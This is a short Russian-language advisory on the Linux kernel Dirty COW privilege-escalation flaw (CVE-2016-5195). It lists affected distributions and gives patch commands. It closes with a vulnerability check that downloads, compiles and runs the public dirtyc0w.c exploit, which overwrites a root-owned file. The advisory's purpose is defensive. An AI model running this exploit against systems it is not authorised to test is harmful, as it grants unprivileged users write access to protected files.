В ядре Linux обнаружена опасная уязвимость, которая связана с обработкой подсистемой памяти ядра механизма copy-on-write (COW). Эксплуатируя баг можно спровоцировать так называемое состояние гонки (race condition). При эксплуатации уязвимости неавторизованный локальный пользователь сможет получить доступ к memory mappings с правом записи, хотя доступ должен быть ограничивать только чтением (read-only). Уязвимость относится к privilege escalation.
Уязвимые дистрибутивы:
- Red Hat Enterprise Linux 7.x
- Red Hat Enterprise Linux 6.x
- Red Hat Enterprise Linux 5.x
- CentOS Linux 7.x
- CentOS Linux 6.x
- CentOS Linux 5.x
- Debian Linux wheezy
- Debian Linux jessie
- Debian Linux stretch
- Debian Linux sid
- Ubuntu Linux codecise (LTS 12.04)
- Ubuntu Linux trusty
- Ubuntu Linux xenial (LTS 16.04)
- Ubuntu Linux yakkety
- Ubuntu Linux vivid/ubuntu-core
- SUSE Linux Enterprise 11 and 12.
Как устранить уязвимость CVE-2016-5195:
Вы можете самостоятельно пересобрать ядро, либо обновить дистрибутив штатными средствами.
Инструкции по обновлению зависят от вашего дистрибутива.
Узнать версию ядра:
$ uname -a
$ uname -mrs
Пример вывода:
Linux 3.13.0-95-generic x86_64
Debian или Ubuntu Linux
$ sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade
$ sudo reboot
RHEL / CentOS Linux 5.x/6.x/7.x
$ sudo yum update
$ sudo reboot
RHEL / CentOS Linux 4.x
$ sudo up2date -u
$ sudo reboot
Suse Enterprise Linux or Opensuse Linux
# zypper patch
# reboot
Проверяем версию:
$ uname -a
$ uname -r
$ uname -mrs
Проверить уязвимость RHEL/CentOS Linux
$ wget https://access.redhat.com/sites/default/files/rh-cve-2016-5195_1.sh
$ bash rh-cve-2016-5195_1.sh
Прочие дистрибутивы
$ wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
под root’ом:
$ sudo -s
# echo this is not a test > foo
под пользователем:
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000